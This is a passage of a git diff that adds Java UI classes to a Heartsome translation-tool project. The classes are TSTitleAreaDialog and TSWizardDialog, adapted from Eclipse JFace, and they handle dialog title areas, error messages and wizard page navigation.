    + * + * @param parent + * The parent composite to contain the dialog area + * @return the dialog area control + */ + protected Control createDialogArea(Composite parent) { + // create the top level composite for the dialog area + Composite composite = new Composite(parent, SWT.NONE); + GridLayout layout = new GridLayout(); + layout.marginHeight = 0; + layout.marginWidth = 0; + layout.verticalSpacing = 0; + layout.horizontalSpacing = 0; + composite.setLayout(layout); + composite.setLayoutData(new GridData(GridData.FILL_BOTH)); + composite.setFont(parent.getFont()); + // Build the separator line + Label titleBarSeparator = new Label(composite, SWT.HORIZONTAL + | SWT.SEPARATOR); + titleBarSeparator.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + return composite; + } + + /** + * Creates the dialog's title area. + * + * @param parent + * the SWT parent for the title area widgets + * @return Control with the highest x axis value. + */ + private Control createTitleArea(Composite parent) { + + // add a dispose listener + parent.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + if (titleAreaColor != null) { + titleAreaColor.dispose(); + } + } + }); + // Determine the background color of the title bar + Display display = parent.getDisplay(); + Color background; + Color foreground; + if (titleAreaRGB != null) { + titleAreaColor = new Color(display, titleAreaRGB); + background = titleAreaColor; + foreground = null; + } else { + background = JFaceColors.getBannerBackground(display); + foreground = JFaceColors.getBannerForeground(display); + } + + parent.setBackground(background); + int verticalSpacing = convertVerticalDLUsToPixels(IDialogConstants.VERTICAL_SPACING); + int horizontalSpacing = convertHorizontalDLUsToPixels(IDialogConstants.HORIZONTAL_SPACING); + // Dialog image @ right + titleImageLabel = new Label(parent, SWT.CENTER); + titleImageLabel.setBackground(background); + if (titleAreaImage == null) + titleImageLabel.setImage(JFaceResources + .getImage(DLG_IMG_TITLE_BANNER)); + else + titleImageLabel.setImage(titleAreaImage); + + FormData imageData = new FormData(); + imageData.top = new FormAttachment(0, 0); + // Note: do not use horizontalSpacing on the right as that would be a + // regression from + // the R2.x style where there was no margin on the right and images are + // flush to the right + // hand side. see reopened comments in 41172 + imageData.right = new FormAttachment(100, 0); // horizontalSpacing + titleImageLabel.setLayoutData(imageData); + // Title label @ top, left + titleLabel = new Label(parent, SWT.LEFT); + JFaceColors.setColors(titleLabel, foreground, background); + titleLabel.setFont(JFaceResources.getBannerFont()); + titleLabel.setText(" ");//$NON-NLS-1$ + FormData titleData = new FormData(); + titleData.top = new FormAttachment(0, verticalSpacing); + titleData.right = new FormAttachment(titleImageLabel); + titleData.left = new FormAttachment(0, horizontalSpacing); + titleLabel.setLayoutData(titleData); + // Message image @ bottom, left + messageImageLabel = new Label(parent, SWT.CENTER); + messageImageLabel.setBackground(background); + // Message label @ bottom, center + messageLabel = new Label(parent, SWT.WRAP | SWT.READ_ONLY); + JFaceColors.setColors(messageLabel, foreground, background); + messageLabel.setText(" \n "); // two lines//$NON-NLS-1$ + messageLabel.setFont(JFaceResources.getDialogFont()); + messageLabel.setBackground(JFaceColors.getBannerBackground(Display.getDefault())); + + messageLabelHeight = messageLabel.computeSize(SWT.DEFAULT, SWT.DEFAULT).y; + // Filler labels + leftFillerLabel = new Label(parent, SWT.CENTER); + leftFillerLabel.setBackground(background); + bottomFillerLabel = new Label(parent, SWT.CENTER); + bottomFillerLabel.setBackground(background); + setLayoutsForNormalMessage(verticalSpacing, horizontalSpacing); + determineTitleImageLargest(); + if (titleImageLargest) + return titleImageLabel; + return messageLabel; + } + + /** + * Determine if the title image is larger than the title message and message + * area. This is used for layout decisions. + */ + private void determineTitleImageLargest() { + int titleY = titleImageLabel.computeSize(SWT.DEFAULT, SWT.DEFAULT).y; + int verticalSpacing = convertVerticalDLUsToPixels(IDialogConstants.VERTICAL_SPACING); + int labelY = titleLabel.computeSize(SWT.DEFAULT, SWT.DEFAULT).y; + labelY += verticalSpacing; + labelY += messageLabelHeight; + labelY += verticalSpacing; + titleImageLargest = titleY > labelY; + } + + /** + * Set the layout values for the messageLabel, messageImageLabel and + * fillerLabel for the case where there is a normal message. + * + * @param verticalSpacing + * int The spacing between widgets on the vertical axis. + * @param horizontalSpacing + * int The spacing between widgets on the horizontal axis. + */ + private void setLayoutsForNormalMessage(int verticalSpacing, + int horizontalSpacing) { + FormData messageImageData = new FormData(); + messageImageData.top = new FormAttachment(titleLabel, verticalSpacing); + messageImageData.left = new FormAttachment(0, H_GAP_IMAGE); + messageImageLabel.setLayoutData(messageImageData); + FormData messageLabelData = new FormData(); + messageLabelData.top = new FormAttachment(titleLabel, verticalSpacing); + messageLabelData.right = new FormAttachment(titleImageLabel); + messageLabelData.left = new FormAttachment(messageImageLabel, + horizontalSpacing); + messageLabelData.height = messageLabelHeight; + if (titleImageLargest) + messageLabelData.bottom = new FormAttachment(titleImageLabel, 0, + SWT.BOTTOM); + messageLabel.setLayoutData(messageLabelData); + FormData fillerData = new FormData(); + fillerData.left = new FormAttachment(0, horizontalSpacing); + fillerData.top = new FormAttachment(messageImageLabel, 0); + fillerData.bottom = new FormAttachment(messageLabel, 0, SWT.BOTTOM); + bottomFillerLabel.setLayoutData(fillerData); + FormData data = new FormData(); + data.top = new FormAttachment(messageImageLabel, 0, SWT.TOP); + data.left = new FormAttachment(0, 0); + data.bottom = new FormAttachment(messageImageLabel, 0, SWT.BOTTOM); + data.right = new FormAttachment(messageImageLabel, 0); + leftFillerLabel.setLayoutData(data); + } + + /** + * The TitleAreaDialog implementation of this + * Window methods returns an initial size which is at least + * some reasonable minimum. + * + * @return the initial size of the dialog + */ + protected Point getInitialSize() { + Point shellSize = super.getInitialSize(); + return new Point(Math.max( + convertHorizontalDLUsToPixels(MIN_DIALOG_WIDTH), shellSize.x), + Math.max(convertVerticalDLUsToPixels(MIN_DIALOG_HEIGHT), + shellSize.y)); + } + + /** + * Retained for backward compatibility. + * + * Returns the title area composite. There is no composite in this + * implementation so the shell is returned. + * + * @return Composite + * @deprecated + */ + protected Composite getTitleArea() { + return getShell(); + } + + /** + * Returns the title image label. + * + * @return the title image label + */ + protected Label getTitleImageLabel() { + return titleImageLabel; + } + + /** + * Display the given error message. The currently displayed message is saved + * and will be redisplayed when the error message is set to + * null. + * + * @param newErrorMessage + * the newErrorMessage to display or null + */ + public void setErrorMessage(String newErrorMessage) { + // Any change? + if (errorMessage == null ? newErrorMessage == null : errorMessage + .equals(newErrorMessage)) + return; + errorMessage = newErrorMessage; + + // Clear or set error message. + if (errorMessage == null) { + if (showingError) { + // we were previously showing an error + showingError = false; + } + // show the message + // avoid calling setMessage in case it is overridden to call + // setErrorMessage, + // which would result in a recursive infinite loop + if (message == null) // this should probably never happen since + // setMessage does this conversion.... + message = ""; //$NON-NLS-1$ + updateMessage(message); + messageImageLabel.setImage(messageImage); + setImageLabelVisible(messageImage != null); + } else { + // Add in a space for layout purposes but do not + // change the instance variable + String displayedErrorMessage = " " + errorMessage; //$NON-NLS-1$ + updateMessage(displayedErrorMessage); + if (!showingError) { + // we were not previously showing an error + showingError = true; + messageImageLabel.setImage(JFaceResources + .getImage(DLG_IMG_TITLE_ERROR)); + setImageLabelVisible(true); + } + } + layoutForNewMessage(false); + } + + /** + * Re-layout the labels for the new message. + * + * @param forceLayout + * true to force a layout of the shell + */ + private void layoutForNewMessage(boolean forceLayout) { + int verticalSpacing = convertVerticalDLUsToPixels(IDialogConstants.VERTICAL_SPACING); + int horizontalSpacing = convertHorizontalDLUsToPixels(IDialogConstants.HORIZONTAL_SPACING); + // If there are no images then layout as normal + if (errorMessage == null && messageImage == null) { + setImageLabelVisible(false); + setLayoutsForNormalMessage(verticalSpacing, horizontalSpacing); + } else { + messageImageLabel.setVisible(true); + bottomFillerLabel.setVisible(true); + leftFillerLabel.setVisible(true); + /** + * Note that we do not use horizontalSpacing here as when the + * background of the messages changes there will be gaps between the + * icon label and the message that are the background color of the + * shell. We add a leading space elsewhere to compendate for this. + */ + FormData data = new FormData(); + data.left = new FormAttachment(0, H_GAP_IMAGE); + data.top = new FormAttachment(titleLabel, verticalSpacing); + messageImageLabel.setLayoutData(data); + data = new FormData(); + data.top = new FormAttachment(messageImageLabel, 0); + data.left = new FormAttachment(0, 0); + data.bottom = new FormAttachment(messageLabel, 0, SWT.BOTTOM); + data.right = new FormAttachment(messageImageLabel, 0, SWT.RIGHT); + bottomFillerLabel.setLayoutData(data); + data = new FormData(); + data.top = new FormAttachment(messageImageLabel, 0, SWT.TOP); + data.left = new FormAttachment(0, 0); + data.bottom = new FormAttachment(messageImageLabel, 0, SWT.BOTTOM); + data.right = new FormAttachment(messageImageLabel, 0); + leftFillerLabel.setLayoutData(data); + FormData messageLabelData = new FormData(); + messageLabelData.top = new FormAttachment(titleLabel, + verticalSpacing); + messageLabelData.right = new FormAttachment(titleImageLabel); + messageLabelData.left = new FormAttachment(messageImageLabel, 0); + messageLabelData.height = messageLabelHeight; + if (titleImageLargest) + messageLabelData.bottom = new FormAttachment(titleImageLabel, + 0, SWT.BOTTOM); + messageLabel.setLayoutData(messageLabelData); + } + + if (forceLayout) { + getShell().layout(); + } else { + // Do not layout before the dialog area has been created + // to avoid incomplete calculations. + if (dialogArea != null) + workArea.getParent().layout(true); + } + + int messageLabelUnclippedHeight = messageLabel.computeSize(messageLabel.getSize().x - xTrim, SWT.DEFAULT, true).y; + boolean messageLabelClipped = messageLabelUnclippedHeight > messageLabel.getSize().y - yTrim; + if (messageLabel.getData() instanceof ToolTip) { + ToolTip toolTip = (ToolTip) messageLabel.getData(); + toolTip.hide(); + toolTip.deactivate(); + messageLabel.setData(null); + } + if (messageLabelClipped) { + ToolTip tooltip = new ToolTip(messageLabel, ToolTip.NO_RECREATE, false) { + + protected Composite createToolTipContentArea(Event event, Composite parent) { + Composite result = new Composite(parent, SWT.NONE); + result.setBackground(parent.getDisplay().getSystemColor(SWT.COLOR_INFO_BACKGROUND)); + result.setLayout(new GridLayout()); + Text text = new Text(result, SWT.WRAP); + text.setBackground(parent.getDisplay().getSystemColor(SWT.COLOR_INFO_BACKGROUND)); + text.setForeground(parent.getDisplay().getSystemColor(SWT.COLOR_INFO_FOREGROUND)); + text.setText(messageLabel.getText()); + GridData gridData = new GridData(); + gridData.widthHint = messageLabel.getSize().x; + text.setLayoutData(gridData); + Dialog.applyDialogFont(result); + return result; + } + public Point getLocation(Point tipSize, Event event) { + return messageLabel.getShell().toDisplay(messageLabel.getLocation()); + } + }; + messageLabel.setData(tooltip); + tooltip.setPopupDelay(0); + tooltip.activate(); + } + } + + /** + * Set the message text. If the message line currently displays an error, + * the message is saved and will be redisplayed when the error message is + * set to null. + *

    + * Shortcut for setMessage(newMessage, IMessageProvider.NONE) + *

    + * This method should be called after the dialog has been opened as it + * updates the message label immediately. + * + * @param newMessage + * the message, or null to clear the message + */ + public void setMessage(String newMessage) { + setMessage(newMessage, IMessageProvider.NONE); + } + + /** + * Sets the message for this dialog with an indication of what type of + * message it is. + *

    + * The valid message types are one of NONE, + * INFORMATION,WARNING, or + * ERROR. + *

    + *

    + * Note that for backward compatibility, a message of type + * ERROR is different than an error message (set using + * setErrorMessage). An error message overrides the current + * message until the error message is cleared. This method replaces the + * current message and does not affect the error message. + *

    + * + * @param newMessage + * the message, or null to clear the message + * @param newType + * the message type + * @since 2.0 + */ + public void setMessage(String newMessage, int newType) { + Image newImage = null; + if (newMessage != null) { + switch (newType) { + case IMessageProvider.NONE: + break; + case IMessageProvider.INFORMATION: + newImage = JFaceResources.getImage(DLG_IMG_MESSAGE_INFO); + break; + case IMessageProvider.WARNING: + newImage = JFaceResources.getImage(DLG_IMG_MESSAGE_WARNING); + break; + case IMessageProvider.ERROR: + newImage = JFaceResources.getImage(DLG_IMG_MESSAGE_ERROR); + break; + } + } + showMessage(newMessage, newImage); + } + + /** + * Show the new message and image. + * + * @param newMessage + * @param newImage + */ + private void showMessage(String newMessage, Image newImage) { + // https://bugs.eclipse.org/bugs/show_bug.cgi?id=249915 + if (newMessage == null) + newMessage = ""; //$NON-NLS-1$ + + // Any change? + if (message.equals(newMessage) && messageImage == newImage) { + return; + } + message = newMessage; + + // Message string to be shown - if there is an image then add in + // a space to the message for layout purposes + String shownMessage = (newImage == null) ? message : " " + message; //$NON-NLS-1$ + messageImage = newImage; + if (!showingError) { + // we are not showing an error + updateMessage(shownMessage); + messageImageLabel.setImage(messageImage); + setImageLabelVisible(messageImage != null); + layoutForNewMessage(false); + } + } + + /** + * Update the contents of the messageLabel. + * + * @param newMessage + * the message to use + */ + private void updateMessage(String newMessage) { + messageLabel.setText(newMessage); + } + + /** + * Sets the title to be shown in the title area of this dialog. + * + * @param newTitle + * the title show + */ + public void setTitle(String newTitle) { + if (titleLabel == null) + return; + String title = newTitle; + if (title == null) + title = "";//$NON-NLS-1$ + titleLabel.setText(title); + } + + /** + * Sets the title bar color for this dialog. + * + * @param color + * the title bar color + */ + public void setTitleAreaColor(RGB color) { + titleAreaRGB = color; + } + + /** + * Sets the title image to be shown in the title area of this dialog. + * + * @param newTitleImage + * the title image to be shown + */ + public void setTitleImage(Image newTitleImage) { + + titleAreaImage = newTitleImage; + if (titleImageLabel != null) { + titleImageLabel.setImage(newTitleImage); + determineTitleImageLargest(); + Control top; + if (titleImageLargest) + top = titleImageLabel; + else + top = messageLabel; + resetWorkAreaAttachments(top); + } + } + + /** + * Make the label used for displaying error images visible depending on + * boolean. + * + * @param visible + * If true make the image visible, if not then + * make it not visible. + */ + private void setImageLabelVisible(boolean visible) { + messageImageLabel.setVisible(visible); + bottomFillerLabel.setVisible(visible); + leftFillerLabel.setVisible(visible); + } + + /** + * Reset the attachment of the workArea to now attach to top as the top + * control. + * + * @param top + */ + private void resetWorkAreaAttachments(Control top) { + FormData childData = new FormData(); + childData.top = new FormAttachment(top); + childData.right = new FormAttachment(100, 0); + childData.left = new FormAttachment(0, 0); + childData.bottom = new FormAttachment(100, 0); + workArea.setLayoutData(childData); + } + + /** + * Returns the current message text for this dialog. This message is + * displayed in the message line of the dialog when the error message + * is null. If there is a non-null error message, this + * message is not shown, but is stored so that it can be shown in + * the message line whenever {@link #setErrorMessage(String)} is called with + * a null parameter. + * + * @return the message text, which is never null. + * + * @see #setMessage(String) + * @see #setErrorMessage(String) + * + * @since 3.6 + */ + + public String getMessage() { + return message; + } + + /** + * Returns the current error message being shown in the dialog, or + * null if there is no error message being shown. + * + * @return the error message, which may be null. + * + * @see #setErrorMessage(String) + * @see #setMessage(String) + * + * @since 3.6 + */ + + public String getErrorMessage() { + return errorMessage; + } +} diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/wizard/TSWizardDialog.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/wizard/TSWizardDialog.java new file mode 100644 index 0000000..cf0f185 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/wizard/TSWizardDialog.java @@ -0,0 +1,1610 @@ +/******************************************************************************* + * Copyright (c) 2000, 2011 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + * Chris Gross (schtoo@schtoo.com) - patch for bug 16179 + * Eugene Ostroukhov - Bug 287887 [Wizards] [api] Cancel button has two distinct roles + * Paul Adams - Bug 202534 - [Dialogs] SWT error in Wizard dialog when help is displayed and "Finish" is pressed + *******************************************************************************/ +package net.heartsome.cat.common.ui.wizard; + +import java.lang.reflect.InvocationTargetException; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Map; + +import org.eclipse.core.runtime.Assert; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.ListenerList; +import org.eclipse.core.runtime.Status; +import org.eclipse.jface.dialogs.ControlEnableState; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.IMessageProvider; +import org.eclipse.jface.dialogs.IPageChangeProvider; +import org.eclipse.jface.dialogs.IPageChangedListener; +import org.eclipse.jface.dialogs.IPageChangingListener; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.PageChangedEvent; +import org.eclipse.jface.dialogs.PageChangingEvent; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.operation.ModalContext; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.jface.util.Policy; +import org.eclipse.jface.util.SafeRunnable; +import org.eclipse.jface.wizard.IWizard; +import org.eclipse.jface.wizard.IWizardContainer2; +import org.eclipse.jface.wizard.IWizardPage; +import org.eclipse.jface.wizard.ProgressMonitorPart; +import org.eclipse.swt.SWT; +import org.eclipse.swt.accessibility.AccessibleAdapter; +import org.eclipse.swt.accessibility.AccessibleEvent; +import org.eclipse.swt.custom.BusyIndicator; +import org.eclipse.swt.events.HelpEvent; +import org.eclipse.swt.events.HelpListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.TraverseEvent; +import org.eclipse.swt.events.TraverseListener; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Layout; +import org.eclipse.swt.widgets.Shell; + +/** + * A dialog to show a wizard to the end user.(此类与 org.eclipse.jface.wizard.WizardDialog 的区别åªæ˜¯ç»§æ‰¿çš„ç±»ä¸åŒ) + *

    + * In typical usage, the client instantiates this class with a particular + * wizard. The dialog serves as the wizard container and orchestrates the + * presentation of its pages. + *

    + * The standard layout is roughly as follows: it has an area at the top + * containing both the wizard's title, description, and image; the actual wizard + * page appears in the middle; below that is a progress indicator (which is made + * visible if needed); and at the bottom of the page is message line and a + * button bar containing Help, Next, Back, Finish, and Cancel buttons (or some + * subset). + *

    + *

    + * Clients may subclass WizardDialog, although this is rarely + * required. + *

    + */ +public class TSWizardDialog extends TSTitleAreaDialog implements IWizardContainer2, + IPageChangeProvider { + /** + * Image registry key for error message image (value + * "dialog_title_error_image"). + */ + public static final String WIZ_IMG_ERROR = "dialog_title_error_image"; //$NON-NLS-1$ + + // The wizard the dialog is currently showing. + private IWizard wizard; + + // Wizards to dispose + private ArrayList createdWizards = new ArrayList(); + + // Current nested wizards + private ArrayList nestedWizards = new ArrayList(); + + // The currently displayed page. + private IWizardPage currentPage = null; + + // The number of long running operation executed from the dialog. + private long activeRunningOperations = 0; + + /** + * The time in milliseconds where the last job finished. 'Enter' key presses are ignored for the + * next {@link #RESTORE_ENTER_DELAY} milliseconds. + *

    + * The value -1 indicates that the traverse listener needs to be installed. + *

    + * + * @since 3.6 + */ + private long timeWhenLastJobFinished= -1; + + // Tells whether a subclass provided the progress monitor part + private boolean useCustomProgressMonitorPart= true; + + // The current page message and description + private String pageMessage; + + private int pageMessageType = IMessageProvider.NONE; + + private String pageDescription; + + // The progress monitor + private ProgressMonitorPart progressMonitorPart; + + private Cursor waitCursor; + + private Cursor arrowCursor; + + private MessageDialog windowClosingDialog; + + // Navigation buttons + private Button backButton; + + private Button nextButton; + + private Button finishButton; + + private Button cancelButton; + + private Button helpButton; + + private SelectionAdapter cancelListener; + + private boolean isMovingToPreviousPage = false; + + private Composite pageContainer; + + private PageContainerFillLayout pageContainerLayout = new PageContainerFillLayout( + 5, 5, 300, 225); + + private int pageWidth = SWT.DEFAULT; + + private int pageHeight = SWT.DEFAULT; + + private static final String FOCUS_CONTROL = "focusControl"; //$NON-NLS-1$ + + /** + * A delay in milliseconds that reduces the risk that the user accidentally triggers a + * button by pressing the 'Enter' key immediately after a job has finished. + * + * @since 3.6 + */ + private static final int RESTORE_ENTER_DELAY= 500; + + private boolean lockedUI = false; + + private ListenerList pageChangedListeners = new ListenerList(); + + private ListenerList pageChangingListeners = new ListenerList(); + + /** + * A layout for a container which includes several pages, like a notebook, + * wizard, or preference dialog. The size computed by this layout is the + * maximum width and height of all pages currently inserted into the + * container. + */ + protected class PageContainerFillLayout extends Layout { + /** + * The margin width; 5 pixels by default. + */ + public int marginWidth = 5; + + /** + * The margin height; 5 pixels by default. + */ + public int marginHeight = 5; + + /** + * The minimum width; 0 pixels by default. + */ + public int minimumWidth = 0; + + /** + * The minimum height; 0 pixels by default. + */ + public int minimumHeight = 0; + + /** + * Creates new layout object. + * + * @param mw + * the margin width + * @param mh + * the margin height + * @param minW + * the minimum width + * @param minH + * the minimum height + */ + public PageContainerFillLayout(int mw, int mh, int minW, int minH) { + marginWidth = mw; + marginHeight = mh; + minimumWidth = minW; + minimumHeight = minH; + } + + /* + * (non-Javadoc) Method declared on Layout. + */ + public Point computeSize(Composite composite, int wHint, int hHint, + boolean force) { + if (wHint != SWT.DEFAULT && hHint != SWT.DEFAULT) { + return new Point(wHint, hHint); + } + Point result = null; + Control[] children = composite.getChildren(); + if (children.length > 0) { + result = new Point(0, 0); + for (int i = 0; i < children.length; i++) { + Point cp = children[i].computeSize(wHint, hHint, force); + result.x = Math.max(result.x, cp.x); + result.y = Math.max(result.y, cp.y); + } + result.x = result.x + 2 * marginWidth; + result.y = result.y + 2 * marginHeight; + } else { + Rectangle rect = composite.getClientArea(); + result = new Point(rect.width, rect.height); + } + result.x = Math.max(result.x, minimumWidth); + result.y = Math.max(result.y, minimumHeight); + if (wHint != SWT.DEFAULT) { + result.x = wHint; + } + if (hHint != SWT.DEFAULT) { + result.y = hHint; + } + return result; + } + + /** + * Returns the client area for the given composite according to this + * layout. + * + * @param c + * the composite + * @return the client area rectangle + */ + public Rectangle getClientArea(Composite c) { + Rectangle rect = c.getClientArea(); + rect.x = rect.x + marginWidth; + rect.y = rect.y + marginHeight; + rect.width = rect.width - 2 * marginWidth; + rect.height = rect.height - 2 * marginHeight; + return rect; + } + + /* + * (non-Javadoc) Method declared on Layout. + */ + public void layout(Composite composite, boolean force) { + Rectangle rect = getClientArea(composite); + Control[] children = composite.getChildren(); + for (int i = 0; i < children.length; i++) { + children[i].setBounds(rect); + } + } + + /** + * Lays outs the page according to this layout. + * + * @param w + * the control + */ + public void layoutPage(Control w) { + w.setBounds(getClientArea(w.getParent())); + } + + /** + * Sets the location of the page so that its origin is in the upper left + * corner. + * + * @param w + * the control + */ + public void setPageLocation(Control w) { + w.setLocation(marginWidth, marginHeight); + } + } + + /** + * Creates a new wizard dialog for the given wizard. + * + * @param parentShell + * the parent shell + * @param newWizard + * the wizard this dialog is working on + */ + public TSWizardDialog(Shell parentShell, IWizard newWizard) { + super(parentShell); + setShellStyle(SWT.CLOSE | SWT.MAX | SWT.TITLE | SWT.BORDER + | SWT.APPLICATION_MODAL | SWT.RESIZE | getDefaultOrientation()); + setWizard(newWizard); + // since VAJava can't initialize an instance var with an anonymous + // class outside a constructor we do it here: + cancelListener = new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + cancelPressed(); + } + }; + } + + /** + * About to start a long running operation triggered through the wizard. + * Shows the progress monitor and disables the wizard's buttons and + * controls. + * + * @param enableCancelButton + * true if the Cancel button should be enabled, + * and false if it should be disabled + * @return the saved UI state + */ + private Object aboutToStart(boolean enableCancelButton) { + Map savedState = null; + if (getShell() != null) { + // Save focus control + Control focusControl = getShell().getDisplay().getFocusControl(); + if (focusControl != null && focusControl.getShell() != getShell()) { + focusControl = null; + } + boolean needsProgressMonitor = wizard.needsProgressMonitor(); + + // Set the busy cursor to all shells. + Display d = getShell().getDisplay(); + waitCursor = new Cursor(d, SWT.CURSOR_WAIT); + setDisplayCursor(waitCursor); + + if (useCustomProgressMonitorPart) { + cancelButton.removeSelectionListener(cancelListener); + // Set the arrow cursor to the cancel component. + arrowCursor = new Cursor(d, SWT.CURSOR_ARROW); + cancelButton.setCursor(arrowCursor); + } + + // Deactivate shell + savedState = saveUIState(useCustomProgressMonitorPart && needsProgressMonitor && enableCancelButton); + if (focusControl != null) { + savedState.put(FOCUS_CONTROL, focusControl); + } + // Activate cancel behavior. + if (needsProgressMonitor) { + if (enableCancelButton || useCustomProgressMonitorPart) { + progressMonitorPart.attachToCancelComponent(cancelButton); + } + progressMonitorPart.setVisible(true); + } + + // Install traverse listener once in order to implement 'Enter' and 'Space' key blocking + if (timeWhenLastJobFinished == -1) { + timeWhenLastJobFinished= 0; + getShell().addTraverseListener(new TraverseListener() { + public void keyTraversed(TraverseEvent e) { + if (e.detail == SWT.TRAVERSE_RETURN || (e.detail == SWT.TRAVERSE_MNEMONIC && e.keyCode == 32)) { + // We want to ignore the keystroke when we detect that it has been received within the + // delay period after the last operation has finished. This prevents the user from accidentally + // hitting "Enter" or "Space", intending to cancel an operation, but having it processed exactly + // when the operation finished, thus traversing the wizard. If there is another operation still + // running, the UI is locked anyway so we are not in this code. This listener should fire only + // after the UI state is restored (which by definition means all jobs are done. + // See https://bugs.eclipse.org/bugs/show_bug.cgi?id=287887 + if (timeWhenLastJobFinished != 0 && System.currentTimeMillis() - timeWhenLastJobFinished < RESTORE_ENTER_DELAY) { + e.doit= false; + return; + } + timeWhenLastJobFinished= 0; + }} + }); + } + } + return savedState; + } + + /** + * The Back button has been pressed. + */ + protected void backPressed() { + IWizardPage page = currentPage.getPreviousPage(); + if (page == null) { + // should never happen since we have already visited the page + return; + } + + // set flag to indicate that we are moving back + isMovingToPreviousPage = true; + // show the page + showPage(page); + } + + /* + * (non-Javadoc) Method declared on Dialog. + */ + protected void buttonPressed(int buttonId) { + switch (buttonId) { + case IDialogConstants.HELP_ID: { + helpPressed(); + break; + } + case IDialogConstants.BACK_ID: { + backPressed(); + break; + } + case IDialogConstants.NEXT_ID: { + nextPressed(); + break; + } + case IDialogConstants.FINISH_ID: { + finishPressed(); + break; + } + // The Cancel button has a listener which calls cancelPressed + // directly + } + } + + /** + * Calculates the difference in size between the given page and the page + * container. A larger page results in a positive delta. + * + * @param page + * the page + * @return the size difference encoded as a + * new Point(deltaWidth,deltaHeight) + */ + private Point calculatePageSizeDelta(IWizardPage page) { + Control pageControl = page.getControl(); + if (pageControl == null) { + // control not created yet + return new Point(0, 0); + } + Point contentSize = pageControl.computeSize(SWT.DEFAULT, SWT.DEFAULT, + true); + Rectangle rect = pageContainerLayout.getClientArea(pageContainer); + Point containerSize = new Point(rect.width, rect.height); + return new Point(Math.max(0, contentSize.x - containerSize.x), Math + .max(0, contentSize.y - containerSize.y)); + } + + /* + * (non-Javadoc) Method declared on Dialog. + */ + protected void cancelPressed() { + if (activeRunningOperations <= 0) { + // Close the dialog. The check whether the dialog can be + // closed or not is done in okToClose. + // This ensures that the check is also evaluated when the user + // presses the window's close button. + setReturnCode(CANCEL); + close(); + } else { + cancelButton.setEnabled(false); + } + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.window.Window#close() + */ + public boolean close() { + if (okToClose()) { + return hardClose(); + } + return false; + } + + /* + * (non-Javadoc) Method declared on Window. + */ + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + // Register help listener on the shell + newShell.addHelpListener(new HelpListener() { + public void helpRequested(HelpEvent event) { + // call perform help on the current page + if (currentPage != null) { + currentPage.performHelp(); + } + } + }); + } + + /** + * Creates the buttons for this dialog's button bar. + *

    + * The WizardDialog implementation of this framework method + * prevents the parent composite's columns from being made equal width in + * order to remove the margin between the Back and Next buttons. + *

    + * + * @param parent + * the parent composite to contain the buttons + */ + protected void createButtonsForButtonBar(Composite parent) { + ((GridLayout) parent.getLayout()).makeColumnsEqualWidth = false; + if (wizard.isHelpAvailable()) { + helpButton = createButton(parent, IDialogConstants.HELP_ID, + IDialogConstants.HELP_LABEL, false); + } + if (wizard.needsPreviousAndNextButtons()) { + createPreviousAndNextButtons(parent); + } + finishButton = createButton(parent, IDialogConstants.FINISH_ID, + IDialogConstants.FINISH_LABEL, true); + cancelButton = createCancelButton(parent); + + if (parent.getDisplay().getDismissalAlignment() == SWT.RIGHT) { + // Make the default button the right-most button. + // See also special code in org.eclipse.jface.dialogs.Dialog#initializeBounds() + finishButton.moveBelow(null); + } + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.dialogs.Dialog#setButtonLayoutData(org.eclipse.swt.widgets.Button) + */ + protected void setButtonLayoutData(Button button) { + GridData data = new GridData(GridData.HORIZONTAL_ALIGN_FILL); + int widthHint = convertHorizontalDLUsToPixels(IDialogConstants.BUTTON_WIDTH); + + // On large fonts this can make this dialog huge + widthHint = Math.min(widthHint, + button.getDisplay().getBounds().width / 5); + Point minSize = button.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + data.widthHint = Math.max(widthHint, minSize.x); + + button.setLayoutData(data); + } + + /** + * Creates the Cancel button for this wizard dialog. Creates a standard (SWT.PUSH) + * button and registers for its selection events. Note that the number of + * columns in the button bar composite is incremented. The Cancel button is + * created specially to give it a removeable listener. + * + * @param parent + * the parent button bar + * @return the new Cancel button + */ + private Button createCancelButton(Composite parent) { + // increment the number of columns in the button bar + ((GridLayout) parent.getLayout()).numColumns++; + Button button = new Button(parent, SWT.PUSH); + button.setText(IDialogConstants.CANCEL_LABEL); + setButtonLayoutData(button); + button.setFont(parent.getFont()); + button.setData(new Integer(IDialogConstants.CANCEL_ID)); + button.addSelectionListener(cancelListener); + return button; + } + + /** + * Return the cancel button if the id is a the cancel id. + * + * @param id + * the button id + * @return the button corresponding to the button id + */ + protected Button getButton(int id) { + if (id == IDialogConstants.CANCEL_ID) { + return cancelButton; + } + return super.getButton(id); + } + + /** + * The WizardDialog implementation of this + * Window method calls call IWizard.addPages + * to allow the current wizard to add extra pages, then + * super.createContents to create the controls. It then calls + * IWizard.createPageControls to allow the wizard to + * pre-create their page controls prior to opening, so that the wizard opens + * to the correct size. And finally it 